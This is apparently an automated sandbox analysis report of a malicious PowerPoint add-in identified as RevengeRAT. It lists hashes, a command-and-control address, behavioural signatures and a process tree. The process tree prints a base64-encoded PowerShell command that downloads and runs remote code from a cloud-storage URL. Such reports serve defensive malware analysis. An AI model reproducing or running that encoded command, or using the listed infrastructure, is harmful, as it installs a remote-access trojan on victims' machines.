Analysis

  • max time kernel
    120s
  • max time network
    145s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 02:43

General

  • Target

    f1877a05b29ff71defc0f60d80713b14342333eb7515c77771f5419f480991cf.ppam

  • Size

    31KB

  • MD5

    9efc83953d1cd53c1e4a1cecb7c07828

  • SHA1

    2c95438d6db39af1f28addebc4180eab9b7599bb

  • SHA256

    f1877a05b29ff71defc0f60d80713b14342333eb7515c77771f5419f480991cf

  • SHA512

    3e437d50869d433047b8809cec6154eb5f1fd847ec865fa8afdd9b1e40c8e54a3be7ff34cf839f90735313901c53cbb675a43852af8acd0ea41f6d1349fb5201

  • SSDEEP

    768:VPAS2ACxYa9mLxarW2FV31TKppqfi3nOmS:VJvN5LxeW61+Dqfi3OB

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

18.228.165.84:3333

Mutex

788bf014999d4ae8929

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\f1877a05b29ff71defc0f60d80713b14342333eb7515c77771f5419f480991cf.ppam"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:2172
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2284
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAHMAcABhAG0ALQBjADIANwAzAGEALgBhAHAAcABzAHAAbwB0AC4AYwBvAG0ALwBvAC8AMQA1AC0AMAA4AC0AMgAwADIANAAuAGoAcABnAD8AYQBsAHQAPQBtAGUAZABpAGEAJgB0AG8AawBlAG4APQBkAGIAYQA5ADEAMgBjADAALQBlADgANAAxAC0ANAAyADIANQAtAGEAYgA4ADgALQA4AGIAYQAyADYAMQAyADYANgAxAGUAMgANAAoAJwApADsAIAANAAoAdQBwAFQAQQBvAGkAWABUAEMAdQBVAEMATgBwAHkAegBhAA0ACgA=""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2276
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Checks processor information in registry
          PID:1776

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/1776-64-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-65-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-66-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-55-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-57-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-59-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-61-0x0000000000400000-0x000000000040A000-memory.dmp

            Filesize

            40KB

          • memory/1776-63-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            Filesize

            4KB

          • memory/2172-67-0x00000000729ED000-0x00000000729F8000-memory.dmp

            Filesize

            44KB

          • memory/2172-0-0x000000002DC51000-0x000000002DC52000-memory.dmp

            Filesize

            4KB

          • memory/2172-72-0x00000000729ED000-0x00000000729F8000-memory.dmp

            Filesize

            44KB

          • memory/2172-71-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2172-69-0x0000000004E90000-0x0000000004F90000-memory.dmp

            Filesize

            1024KB

          • memory/2172-68-0x0000000004E90000-0x0000000004F90000-memory.dmp

            Filesize

            1024KB

          • memory/2172-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

            Filesize

            64KB

          • memory/2172-2-0x00000000729ED000-0x00000000729F8000-memory.dmp

            Filesize

            44KB

          • memory/2172-40-0x0000000004E90000-0x0000000004F90000-memory.dmp

            Filesize

            1024KB

          • memory/2172-38-0x0000000004E90000-0x0000000004F90000-memory.dmp

            Filesize

            1024KB

          • memory/2172-39-0x0000000004E90000-0x0000000004F90000-memory.dmp

            Filesize

            1024KB

          • memory/2172-13-0x00000000054D0000-0x00000000055D0000-memory.dmp

            Filesize

            1024KB

          • memory/2172-12-0x0000000004E90000-0x0000000004F90000-memory.dmp

            Filesize

            1024KB

          • memory/2276-53-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB

          • memory/2276-54-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB

          • memory/2276-43-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB

          • memory/2276-44-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB

          • memory/2276-46-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB

          • memory/2276-48-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB

          • memory/2276-50-0x0000000002830000-0x0000000002848000-memory.dmp

            Filesize

            96KB